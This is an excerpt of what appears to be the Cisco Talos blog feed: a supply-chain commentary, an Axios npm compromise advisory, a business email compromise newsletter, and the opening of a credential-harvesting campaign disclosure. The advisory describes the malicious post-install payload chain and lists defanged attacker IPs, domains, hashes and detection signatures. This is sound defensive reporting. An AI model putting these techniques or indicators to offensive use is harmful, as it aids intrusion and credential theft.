alt="Do not get high(jacked) off your own supply (chain)"><p>In the span of just a few weeks, we have observed a dizzying array of major supply chain attacks. Prominent examples include the malicious modification of <a href="https://blog.talosintelligence.com/axois-npm-supply-chain-incident/" rel="noreferrer">Axios</a>, a popular HTTP client library for JavaScript, as well as cascading compromises from TeamPCP, a &#x201C;chaos-as-a-service&#x201D; group that injected malicious code into hijacked GitHub repositories for open-source projects, including Trivy, an open-source security scanner.</p><p>The impact of these supply chain attacks can be vast. Axios receives 100 million downloads weekly and innumerable organizations rely on the frameworks and libraries compromised by TeamPCP. The headache they pose to organizations and their security personnel is considerable as well; affected utilities can be integrated so deeply that it may be difficult to fully catalog, let alone remediate.</p><p>Although the timing, scale, and severity of these attacks can be shocking, this is not a new phenomenon. The supply chain has remained an attractive target for some time because of its fragility and the fact that a successful compromise can lead to countless additional downstream victims.</p><p>Findings from the recently published <a href="https://blog.talosintelligence.com/2025yearinreview/" rel="noreferrer">Talos 2025 Year in Review</a> illustrate these long-standing trends. Nearly 25% of the top 100 targeted vulnerabilities we observed in 2025 affect widely used frameworks and libraries. Digging deeper into the list reveals additional insights. The React2Shell vulnerability affecting React Server Components became the top-targeted vulnerability of 2025 despite being disclosed in December, reflecting the speed at which these supply chain attacks can reach massive scale. The presence of Log4j vulnerabilities shows how deeply embedded these utilities can be and therefore how difficult it can be to reduce the attack surface. Although these particular examples represent extant vulnerabilities that can be weaponized by numerous adversaries versus a deliberate attack carried out by a single adversary, they show how impactful and disruptive threats to the supply chain can be. Follow-on attacks can range from ransomware to espionage, which is reflective of the broad swath of adversaries that carry them out &#x2014; from sophisticated state-sponsored groups to teenage cyber criminals.</p><p>If we are all building on such shaky foundation, what can we do to keep safe? After all, it certainly seems dire when a tool such as Trivy that we could normally use to scan for supply chain vulnerabilities becomes compromised itself. But there are concrete steps we can take to improve our security posture.</p><p>As highlighted in the Year in Review, protecting identity is key. This includes securing CI/CD pipelines to prevent these types of compromises from occurring in the first place, as well as limiting the impact and lateral movement of an adversary should they obtain access to a downstream victim.</p><p>In addition, organizations must try to the best of their abilities to inventory the software libraries and frameworks they employ, stay informed of security incidents, and respond rapidly to implement patching and other mitigations.</p><p>Just as supply chain attacks are evergreen, so too is the efficacy of security fundamentals, such as segmentation, robust logging, multi-factor authentication (MFA), and the implementation of emergency response plans.</p><p>As trust continues to break down, the only viable solution may be to double down on vigilance. Since this recent spate of attacks represents a trend that will likely only grow in intensity and breadth, the time for action and planning is now.</p><h2 id="coverage">Coverage</h2><p>Below, find a sample of the some of the recent coverage we offer to protect against these threats:</p><p>ClamAV:<br>Txt.Trojan.TeamPCP-10059839-0</p><p>Txt.Trojan.TeamPCP-10059839-0</p><p>Behavioral Protections:<br>LiteLLM Supply Chain Compromise &#x2013; alerts during installation of compromised packages</p>]]></content:encoded></item><item><title><![CDATA[Axios NPM supply chain incident]]></title><description><![CDATA[Overview of the recent Axios NPM supply chain incident including details of the payloads delivered from actor-controlled infrastructure.]]></description><link>https://blog.talosintelligence.com/axois-npm-supply-chain-incident/</link><guid isPermaLink="false">69cfc745421b2500017041ec</guid><category><![CDATA[Threat Advisory]]></category><category><![CDATA[Cisco Talos Web Filtering]]></category><category><![CDATA[Cisco Talos Antivirus]]></category><category><![CDATA[Cisco Talos Network Intrusion Prevention]]></category><dc:creator><![CDATA[Nick Biasini]]></dc:creator><pubDate>Fri, 03 Apr 2026 17:00:22 GMT</pubDate><media:content url="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/threat_advisory.png" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/threat_advisory.png" alt="Axios NPM supply chain incident"><p>Cisco Talos is actively investigating the March 31, 2026 supply chain attack on the official Axios node package manager (npm) package during which two malicious versions (v1.14.1 and v0.30.4) were deployed. Axios is one of the more popular JavaScript libraries with as many as 100 million downloads per week.</p><p>Axios is a widely-deployed HTTP client library for JavaScript that simplifies HTTP requests, specifically for REST endpoints. The malicious packages were only available for approximately three hours, but if downloaded Talos strongly encourages that all deployments should be rolled back to previous known safe versions (v1.14.0 or v0.30.3). Additionally, Talos strongly recommends users and administrators investigate any systems that downloaded the malicious package for follow-on payloads from actor-controlled infrastructure.</p><h2 id="details-of-supply-chain-attack">Details of supply chain attack</h2><p>The primary modification of the packages introduced a fake runtime dependency (plain-crypto-js) that executes via post-install without any user interaction required. Upon execution, the dependency reaches out to actor-controlled infrastructure (142[.]11[.]206[.]73) with operating system information to deliver a platform-specific payload to Linux, MacOS, or Windows.</p><p>On MacOS, a binary, &#x201C;com.apple.act.mond&#x201D;, is downloaded and run using zsh. Windows is delivered a ps1 file, which copies the legitimate powershell executable to &#x201C;%PROGRAM DATA%\wt.exe&#x201D;, and executes the downloaded ps1 file with hidden and execution policy bypass flags. On Linux, a Python backdoor is downloaded and executed. The payload is a remote access trojan (RAT) with typical associated capabilities allowing the actor to gather information and run additional payloads.</p><h2 id="impact">Impact</h2><p>As with most supply chain attacks, the full impact will likely take some time to uncover. The threat actors exfiltrated credentials along with remote management capabilities. Therefore, Talos strongly recommends organizations treat any credentials present on their systems with the malicious package as compromised and begin the process of rotating them as quickly as possible. Actors are likely to try to weaponize access as quickly as possible to maximize financial gain.</p><p>Supply chain attacks tend to have unexpected downstream impacts, as these packages are widely used across a variety of applications, and the compromised credentials can be leveraged in follow-on attacks. For additional context, about 25% of the top 100 vulnerabilities in the Cisco Talos 2025 <a href="https://blog.talosintelligence.com/category/year-in-review/" rel="noreferrer">Year in Review</a> affect widely used frameworks and libraries, highlighting the risk of supply chain-style attacks.</p><p>Talos will continue to monitor any follow-on impacts from this supply chain attack in the days and weeks ahead, as well as any additional indicators that are uncovered as a result of our ongoing investigation.</p><h2 id="coverage">Coverage</h2><p>The following ClamAV signature detects and blocks this&#xA0;threat:</p>
<!--kg-card-begin: html-->
<ul>
  <li>Py.Trojan.Agent-10059931-0</li>
  <li>Ps1.Trojan.Agent-10059932-0</li>
</ul>
<!--kg-card-end: html-->
<p>The following SNORT&#xAE;&#xA0;rules cover this&#xA0;threat:&#xA0;&#xA0;</p>
<!--kg-card-begin: html-->
<ul>
  <li>SIDS: 1:66219, 1:66218</li>
</ul>
<!--kg-card-end: html-->
<h2 id="indicators-of-compromise-iocs">Indicators of Compromise (IoCs)</h2><p>IP Address:<br>142[.]11[.]206[.]73</p><p>Domains:<br>Sfrclak[.]com</p><p>SHA256<br>e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09 (setup[.]js)<br>fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf (Linux)<br>617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101 (Windows)<br>92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a (MacOS)<br>ed8560c1ac7ceb6983ba995124d5917dc1a00288912387a6389296637d5f815c (6202033.ps1)</p>]]></content:encoded></item><item><title><![CDATA[The democratisation of business email compromise fraud]]></title><description><![CDATA[This week, Martin tells the story of a crime he encountered and how it shows that the threat landscape is changing.]]></description><link>https://blog.talosintelligence.com/the-democratisation-of-business-email-compromise-fraud/</link><guid isPermaLink="false">69cd78756e9b6600017f2b98</guid><category><![CDATA[Threat Source newsletter]]></category><dc:creator><![CDATA[Martin Lee]]></dc:creator><pubDate>Thu, 02 Apr 2026 18:00:20 GMT</pubDate><media:content url="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/threat_source.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/threat_source.jpg" alt="The democratisation of business email compromise fraud"><p>Welcome to this week&#x2019;s edition of the Threat Source newsletter.</p><p>Last weekend, I witnessed a crime. Not a notable crime that you might read about in the press, but an unremarkable fraud attempt that nevertheless illustrates how new threat actor capabilities are emerging.</p><p>I imagine that most people reading this probably field IT questions from friends, family, and your local community. I assist with the IT provision for a local community association. It&#x2019;s not a wealthy, large association &#x2014; just your typical volunteer-run nonprofit like many others in the region providing community services.</p><p>This weekend, the chair emailed the treasurer requesting a bank transfer. The treasurer replied asking for the recipient&apos;s details, and the chair promptly responded. The emails appeared authentic: correct names, a sum consistent with the association&apos;s regular expenditure. Yet something made the treasurer pause. The reason for the transfer felt vague, and the tone seemed slightly off. They picked up the phone to verify. The chair had no idea what they were talking about. The emails and the request were an attempted fraud by a third party.</p><p>This is a variant of the business email compromise (BEC) scam in which an attacker impersonates a trusted individual and requests a fund transfer to an account they control. The attacker relies on social engineering to trick someone with payment authority to send the money. Once received, funds typically pass through money mules or compromised personal accounts before being rapidly shuffled through multiple transfers, obscuring the trail and drastically reducing the chances of recovery.</p><p>The initial email is often sent from a plausible email address. Closely scrutinising the sender&#x2019;s email address may not help, since the attack may originate from the sender&#x2019;s genuine account that has previously been compromised.</p><p>Historically, BEC targeted large organisations where anticipated payouts justified the time investment required to research key personnel and craft targeted attacks. The anticipated payout would more than cover the costs involved.</p><p>However, the fact that attackers are willing to target a small community organisation for a relatively small sum of money shows that the economics of the attack have changed.</p><p>AI has fundamentally altered the economics of BEC. Attackers can now reconnoitre many small organisations rapidly and cheaply. AI-generated content can be tailored to each target: referencing specific projects, using appropriate terminology, matching organisational tone.</p><p>The attack no longer needs to be labour-intensive or highly targeted. It&apos;s become democratised, and an accessible playbook for targeting any organisation. Community associations, local charities, or small businesses can now be targeted, both because the attack is easier to execute, but also because scamming smaller sums from many victims can be as profitable as scamming large sums from few victims. Unfortunately, because this profile of organisation may never have encountered this threat before, they may be unaware and consequently more vulnerable.</p><p>For every treasurer who pauses when something doesn&#x2019;t quite feel right, there are others who will accept an apparently legitimate email at face value. Protection begins with awareness of how the fraud operates. Be suspicious of any unexpected request for payment, especially if there is a sense of urgency or reasons why a phone call &quot;isn&apos;t possible&quot; right now. Verify through separate channels before any transfer occurs. Call a known number for your contact, not one provided in the suspicious email. Enforce strict procurement rules that prevent any last-minute urgent payments.</p><p>Above all, recognise the democratisation of business email compromise scams. They&#x2019;re no longer something that only happens to large corporations with complex supply chains and international operations. They&#x2019;re for everyone now.</p><h2 id="the-one-big-thing">The one&#xA0;big thing&#xA0;</h2><p>Cisco Talos has&#xA0;identified&#xA0;a&#xA0;<a href="https://blog.talosintelligence.com/uat-10608-inside-a-large-scale-automated-credential-harvesting-operation-targeting-web-applications" rel="noreferrer noopener"><u>large-scale automated credential harvesting campaign</u></a>&#xA0;that exploits React2Shell, a remote code execution vulnerability in Next.js applications (CVE-2025-55182). Using a custom framework called &quot;NEXUS Listener,&quot; the attackers automatically extract and aggregate sensitive data &#x2014; including cloud tokens, database credentials, and SSH keys &#x2014; from hundreds of compromised hosts to&#xA0;facilitate&#xA0;further malicious activity.&#xA0;</p><h3 id="why-do-i-care">Why do I care?&#xA0;</h3><p>This campaign uses high-speed automation to exploit React2Shell, enabling attackers to rapidly harvest high-value credentials and&#xA0;establish&#xA0;persistent, unauthenticated access. This creates significant risks for lateral movement and supply chain integrity. Furthermore, the centralized aggregation of stolen data allows attackers to map infrastructure for targeted follow-on attacks and potential data breaches.&#xA0;</p><h3 id="so-now-what">So now what?&#xA0;</h3><p>Organizations should&#xA0;immediately&#xA0;audit Next.js applications for the React2Shell vulnerability and rotate all potentially compromised credentials, including API keys and SSH keys. Enforce IMDSv2 on AWS instances and implement RASP or tuned WAF rules to detect malicious payloads. Finally, apply strict least-privilege access controls within container environments to limit the potential impact of a compromise.&#xA0;</p><p><a href="https://blog.talosintelligence.com/uat-10608-inside-a-large-scale-automated-credential-harvesting-operation-targeting-web-applications" rel="noreferrer noopener"><u>Read the full blog</u></a>&#xA0;for coverage and indicators of compromise (IOCs).</p><h2 id="top-security-headlines-of-the-week">Top security headlines of the week&#xA0;</h2><p><strong>F5 BIG-IP DoS flaw upgraded to critical RCE, now exploited in the wild</strong>&#xA0;<br>The US cybersecurity agency CISA on Friday warned that threat actors have been exploiting a critical-severity F5 BIG-IP vulnerability in the wild. (<a href="https://www.securityweek.com/f5-big-ip-dos-flaw-upgraded-to-critical-rce-now-exploited-in-the-wild/" rel="noreferrer noopener"><u>SecurityWeek</u></a>)&#xA0;</p><p><strong>European</strong>&#xA0;<strong>Commission investigating breach after Amazon cloud account hack</strong>&#xA0;<br>The threat actor told&#xA0;BleepingComputer&#xA0;that they will not&#xA0;attempt&#xA0;to extort the Commission using the allegedly stolen&#xA0;data, but&#xA0;intend to leak it online&#xA0;at a later date. (<a href="https://www.bleepingcomputer.com/news/security/european-commission-investigating-breach-after-amazon-cloud-account-hack/" rel="noreferrer noopener"><u>BleepingComputer</u></a>)&#xA0;</p><p><strong>Google fixes fourth Chrome zero-day exploited in attacks in 2026</strong>&#xA0;<br>As detailed in the Chromium commit history, this vulnerability stems from a use-after-free weakness in Dawn, the underlying cross-platform implementation of the&#xA0;WebGPU&#xA0;standard used by the Chromium project. (<a href="https://www.bleepingcomputer.com/news/security/google-fixes-fourth-chrome-zero-day-exploited-in-attacks-in-2026/" rel="noreferrer noopener"><u>BleepingComputer</u></a>)&#xA0;</p><p><strong>Anthropic inadvertently leaks source code for Claude Code CLI tool</strong>&#xA0;<br>Anthropic quickly removed the source code, but users have already posted mirrors on GitHub.&#xA0;They are actively dissecting the code to understand the tool&apos;s inner workings.&#xA0;(<a href="https://cybernews.com/security/anthropic-claude-code-source-leak/?utm_source=tldrinfosec" rel="noreferrer noopener"><u>Cybernews</u></a>)&#xA0;</p><h2 id="can%E2%80%99t-get-enough-talos">Can&#x2019;t&#xA0;get enough Talos?&#xA0;</h2><p><a href="https://blog.talosintelligence.com/qilin-edr-killer" rel="noreferrer noopener"><strong><u>Qilin EDR killer infection chain</u></strong></a>&#xA0;<br>Take&#xA0;a deep dive into the malicious &#x201C;msimg32.dll&#x201D; used in&#xA0;Qilin&#xA0;ransomware attacks, which is a multi-stage infection chain targeting EDR systems. It can&#xA0;terminate&#xA0;over 300 different EDR drivers from&#xA0;almost every&#xA0;vendor in the market.&#xA0;</p><p><a href="https://blog.talosintelligence.com/an-overview-of-ransomware-threats-in-japan-in-2025-and-early-detection-insights-from-qilin-cases" rel="noreferrer noopener"><strong><u>An overview of 2025 ransomware threats in Japan</u></strong></a>&#xA0;<br>In 2025, the number of ransomware incidents increased compared to 2024. Notably, it was a year in which attacks leveraging&#xA0;Qilin&#xA0;ransomware were&#xA0;observed&#xA0;most&#xA0;frequently.&#xA0;</p><p><a href="https://blog.talosintelligence.com/inside-the-talos-2025-year-in-review-a-discussion-on-what-the-data-means-for-defenders/" rel="noreferrer noopener"><strong><u>A discussion on what the data means for defenders</u></strong></a>&#xA0;<br>To unpack the biggest Year in Review takeaways and what they mean for security teams, we brought together Christopher Marshall, VP of Cisco Talos, and Peter Bailey, SVP and GM of Cisco Security.&#xA0;</p><p><a href="https://youtu.be/OQxa21N9AB4" rel="noreferrer noopener"><strong><u>When attackers become trusted users</u></strong></a>&#xA0;<br>The latest TTP draws on 2025 Year in Review data to explore how identity is being used to gain, extend, and&#xA0;maintain&#xA0;access inside environments.</p><h2 id="upcoming-events-where-you-can-find-talos">Upcoming events where you can find Talos&#xA0;</h2><ul><li><a href="https://www.offensivecon.org/" rel="noreferrer noopener"><u>OffensiveCon</u></a>&#xA0;(May 15 &#x2013; 16)&#xA0;Berlin, Germany&#xA0;</li></ul><h2 id="most-prevalent-malware-files-from-talos-telemetry-over-the-past-week">Most prevalent malware files from Talos telemetry over the past week&#xA0;</h2><p><strong>SHA256: 96fa6a7714670823c83099ea01d24d6d3ae8fef027f01a4ddac14f123b1c9974</strong>&#xA0;<br>MD5: aac3165ece2959f39ff98334618d10d9&#xA0;<br>Talos Rep:&#xA0;<a href="https://talosintelligence.com/talos_file_reputation?s=96fa6a7714670823c83099ea01d24d6d3ae8fef027f01a4ddac14f123b1c9974" rel="noreferrer noopener"><u>https://talosintelligence.com/talos_file_reputation?s=96fa6a7714670823c83099ea01d24d6d3ae8fef027f01a4ddac14f123b1c9974</u></a>&#xA0;<br>Example&#xA0;Filename: d4aa3e7010220ad1b458fac17039c274_63_Exe.exe&#xA0;<br>Detection Name:&#xA0;W32.Injector:Gen.21ie.1201&#xA0;</p><p><strong>SHA256: 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507</strong>&#xA0;<br>MD5: 2915b3f8b703eb744fc54c81f4a9c67f&#xA0;<br>Talos Rep:&#xA0;<a href="https://talosintelligence.com/talos_file_reputation?s=9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507" rel="noreferrer noopener"><u>https://talosintelligence.com/talos_file_reputation?s=9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507</u></a>&#xA0;<br>Example&#xA0;Filename: 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507.exe&#xA0;<br>Detection Name:&#xA0;Win.Worm.Coinminer::1201&#xA0;</p><p><strong>SHA256: 90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59</strong>&#xA0;<br>MD5: c2efb2dcacba6d3ccc175b6ce1b7ed0a&#xA0;<br>Talos Rep:&#xA0;<a href="https://talosintelligence.com/talos_file_reputation?s=90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59" rel="noreferrer noopener"><u>https://talosintelligence.com/talos_file_reputation?s=90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59</u></a>&#xA0;<br>Example&#xA0;Filename:&#xA0;APQ9305.dll&#xA0;<br>Detection Name: Auto.90B145.282358.in02&#xA0;</p><p><strong>SHA256: 38d053135ddceaef0abb8296f3b0bf6114b25e10e6fa1bb8050aeecec4ba8f55</strong>&#xA0;<br>MD5: 41444d7018601b599beac0c60ed1bf83&#xA0;<br>Talos Rep:&#xA0;<a href="https://talosintelligence.com/talos_file_reputation?s=38d053135ddceaef0abb8296f3b0bf6114b25e10e6fa1bb8050aeecec4ba8f55" rel="noreferrer noopener"><u>https://talosintelligence.com/talos_file_reputation?s=38d053135ddceaef0abb8296f3b0bf6114b25e10e6fa1bb8050aeecec4ba8f55</u></a>&#xA0;<br>Example&#xA0;Filename:&#xA0;content.js&#xA0;<br>Detection Name: W32.38D053135D-95.SBX.TG&#xA0;</p><p><strong>SHA256: 5e6060df7e8114cb7b412260870efd1dc05979454bd907d8750c669ae6fcbcfe</strong>&#xA0;<br>MD5: a2cf85d22a54e26794cbc7be16840bb1&#xA0;<br>Talos Rep:&#xA0;<a href="https://talosintelligence.com/talos_file_reputation?s=5e6060df7e8114cb7b412260870efd1dc05979454bd907d8750c669ae6fcbcfe" rel="noreferrer noopener"><u>https://talosintelligence.com/talos_file_reputation?s=5e6060df7e8114cb7b412260870efd1dc05979454bd907d8750c669ae6fcbcfe</u></a>&#xA0;<br>Example&#xA0;Filename:&#xA0;a2cf85d22a54e26794cbc7be16840bb1.exe&#xA0;<br>Detection Name: W32.5E6060DF7E-100.SBX.TG&#xA0;</p><p><strong>SHA256: e303ac1a9b378382830fc6a0b5a9574eca415d14d9282e2b4aced725db9cfbc5</strong>&#xA0;<br>MD5: 48a4f5fb6dc4633a41e6fe0aa65b4fa6&#xA0;<br>Talos Rep:&#xA0;<a href="https://talosintelligence.com/talos_file_reputation?s=e303ac1a9b378382830fc6a0b5a9574eca415d14d9282e2b4aced725db9cfbc5" rel="noreferrer noopener"><u>https://talosintelligence.com/talos_file_reputation?s=e303ac1a9b378382830fc6a0b5a9574eca415d14d9282e2b4aced725db9cfbc5</u></a>&#xA0;<br>Example&#xA0;Filename:&#xA0;48a4f5fb6dc4633a41e6fe0aa65b4fa6.exe&#xA0;<br>Detection Name: W32.E303AC1A9B-95.SBX.TG&#xA0;</p>]]></content:encoded></item><item><title><![CDATA[[Video] The TTP Ep 21: When Attackers Become Trusted Users]]></title><description><![CDATA[An episode of the Talos Threat Perspective on the 2025 Year in Review trends. We explore how identity is being used to gain, extend, and maintain access inside environments. ]]></description><link>https://blog.talosintelligence.com/video-the-ttp-ep-21-when-attackers-become-trusted-users/</link><guid isPermaLink="false">69ce68b81fc4b40001e1e215</guid><category><![CDATA[2025YiR]]></category><category><![CDATA[Year In Review]]></category><dc:creator><![CDATA[Hazel Burton]]></dc:creator><pubDate>Thu, 02 Apr 2026 13:06:45 GMT</pubDate><media:content url="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/YiR2025_cover_2x1.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/04/YiR2025_cover_2x1.jpg" alt="[Video] The TTP Ep 21: When Attackers Become Trusted Users"><p>In this episode of the Talos Threat Perspective, we explore how identity is being used to gain, extend, and maintain access inside environments.&#xA0;</p><p>Drawing on insights from the <a href="https://blog.talosintelligence.com/content/files/2026/03/2025YiR-report.pdf" rel="noreferrer">2025 Talos Year in Review</a>, we break down how attackers are:&#xA0;</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;Targeting identity systems and MFA workflows&#xA0;</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;Establishing persistent, high-trust access&#xA0;</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;Using internal phishing to move laterally&#xA0;</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;Could potentially exploit over-permissioned AI agents and identity-linked access&#xA0;</p><p>&#xB7;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;Blending into normal user behaviour&#xA0;</p><p>This episode focuses on how identity enables attackers to scale their operations, and what that means for defenders trying to detect and contain them.&#xA0;</p><figure class="kg-card kg-embed-card"><iframe width="200" height="113" src="https://www.youtube.com/embed/OQxa21N9AB4?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen title="The TTP Ep 21: When Attackers Become Trusted Users"></iframe></figure><div class="kg-card kg-header-card kg-v2 kg-width-regular " data-background-color="#000000">
            
            <picture><img class="kg-header-card-image" src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/YiR2025_background-2.jpg" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/YiR2025_background-2.jpg 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/03/YiR2025_background-2.jpg 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/03/YiR2025_background-2.jpg 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/YiR2025_background-2.jpg 2000w" loading="lazy" alt="[Video] The TTP Ep 21: When Attackers Become Trusted Users"></picture>
        
            <div class="kg-header-card-content">
                
                <div class="kg-header-card-text kg-align-center">
                    <h2 id="read-the-2025-cisco-talos-year-in-review" class="kg-header-card-heading" style="color: #FFFFFF;" data-text-color="#FFFFFF"><span style="white-space: pre-wrap;">Read the 2025 Cisco Talos Year in Review</span></h2>
                    
                    <a href="https://blog.talosintelligence.com/content/files/2026/03/2025YiR-report.pdf" class="kg-header-card-button kg-style-accent" style="color: #FFFFFF;" data-button-color="accent" data-button-text-color="#FFFFFF">Download now</a>
                </div>
            </div>
        </div>]]></content:encoded></item><item><title><![CDATA[UAT-10608: Inside a large-scale automated credential harvesting operation targeting web applications]]></title><description><![CDATA[Talos is disclosing a large-scale automated credential harvesting campaign carried out by a threat cluster we currently track as UAT-10608. The campaign is primarily leveraging a collection framework dubbed “NEXUS Listener.”]]></description><link>https://blog.talosintelligence.com/uat-10608-inside-a-large-scale-automated-credential-harvesting-operation-targeting-web-applications/</link><guid isPermaLink="false">69cbee6376c83100018041f4</guid><category><![CDATA[Threat Spotlight]]></category><category><![CDATA[malware]]></category><category><![CDATA[Cisco Talos Network Intrusion Prevention]]></category><dc:creator><![CDATA[Asheer Malhotra]]></dc:creator><pubDate>Thu, 02 Apr 2026 10:00:57 GMT</pubDate><media:content url="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/threat_spotlight.png" medium="image"/><content:encoded><![CDATA[<ul><li>Cisco Talos is&#xA0;disclosing&#xA0;a large-scale automated credential harvesting campaign carried out by a threat cluster&#xA0;we&#xA0;are&#xA0;tracking as &#x201C;UAT-10608.&#x201D;&#xA0;</li><li>Post-compromise, UAT-10608 leverages automated scripts for extracting and exfiltrating credentials from a variety of applications, that are then posted to its&#xA0;command and control (C2).&#xA0;</li><li>The C2 hosts a&#xA0;web-based&#xA0;graphical&#xA0;user&#xA0;interface (GUI)&#xA0;titled &#x201C;NEXUS Listener&#x201D; that can be used&#xA0;to&#xA0;view stolen information and&#xA0;gain&#xA0;analytical&#xA0;insights&#xA0;using precompiled statistics&#xA0;on credentials harvested and hosts compromised.&#xA0;</li></ul><hr><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/threat_spotlight.png" alt="UAT-10608: Inside a large-scale automated credential harvesting operation targeting web applications"><p>Talos is&#xA0;disclosing&#xA0;a&#xA0;large-scale automated credential harvesting&#xA0;campaign&#xA0;carried out by a threat cluster we currently track as UAT-10608. The campaign is primarily&#xA0;leveraging&#xA0;a collection framework dubbed &#x201C;NEXUS Listener.&#x201D;&#xA0;The systematic exploitation and exfiltration campaign has resulted in the&#xA0;compromise of at least&#xA0;766 hosts,&#xA0;as of time of writing,&#xA0;across multiple geographic regions and cloud providers.&#xA0;The operation&#xA0;is targeting&#xA0;Next.js applications vulnerable to React2Shell&#xA0;(CVE-2025-55182)&#xA0;to gain initial access,&#xA0;then&#xA0;is deploying&#xA0;a&#xA0;multi-phase credential harvesting tool&#xA0;that harvests credentials, SSH keys, cloud tokens, and environment secrets at scale.&#xA0;</p><p>The breadth of the victim&#xA0;set&#xA0;and the indiscriminate targeting pattern is consistent with automated scanning &#x2014;&#xA0;likely&#xA0;based&#xA0;on host profile data from services&#xA0;like&#xA0;Shodan,&#xA0;Censys,&#xA0;or custom scanners to&#xA0;enumerate&#xA0;publicly reachable Next.js deployments and probe them for the described React configuration vulnerabilities.&#xA0;</p><p>The core&#xA0;component&#xA0;of the framework is a web application that makes&#xA0;all of&#xA0;the exfiltrated data available to the operator in a&#xA0;graphical interface that includes&#xA0;in-depth&#xA0;statistics and search capabilities to allow them to sift through the compromised data.&#xA0;</p><p>This post details the campaign&apos;s&#xA0;methodology,&#xA0;tools,&#xA0;breadth&#xA0;and sensitivity of the exposed data, and the implications for organizations&#xA0;impacted&#xA0;by this activity.&#xA0;</p><p><em>This analysis is based on data collected for security research purposes.&#xA0;Specific credentials and victim identifiers have been withheld from this publication.</em>&#xA0;<em>Talos has informed service providers of exposed and at-risk credentials</em>&#xA0;<em>and is working with industry partners such as GitHub and AWS to quarantine credentials and inform victims.</em>&#xA0;</p>
<!--kg-card-begin: html-->
<table class="Table Ltr TableWordWrap SCXW181986150 BCX0" border="0" dir="ltr" data-tablestyle="MsoNormalTable" data-tablelook="1696" aria-rowcount="9" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; table-layout: fixed; width: 0px; border-collapse: collapse; empty-cells: show; position: relative; overflow: visible; background: transparent; border-spacing: 0px;"><tbody class="SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text;"><tr class="TableRow SCXW181986150 BCX0" role="row" aria-rowindex="1" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow: visible; height: 20px;"><td class="FirstRow FirstCol SCXW181986150 BCX0" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow: visible; vertical-align: middle; position: relative; background-color: transparent; background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 271px;"><div class="TableCellContent SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 8px; user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW181986150 BCX0" xml:lang="EN-US" lang="EN-US" paraid="332775885" paraeid="{e24eefab-d52d-47ff-bc4d-71e5efd63095}{112}" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; font-kerning: none; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun MacChromeBold SCXW181986150 BCX0" style="-webkit-user-drag: none; -webkit-tap-highlight-color: transparent; margin: 0px; padding: 0px; user-select: text; -webkit-font-smoothing: antialiased; font-variant-ligatures: none !important; font-size: 12pt; font-style: normal; line-height: 22.0875px; font-family: 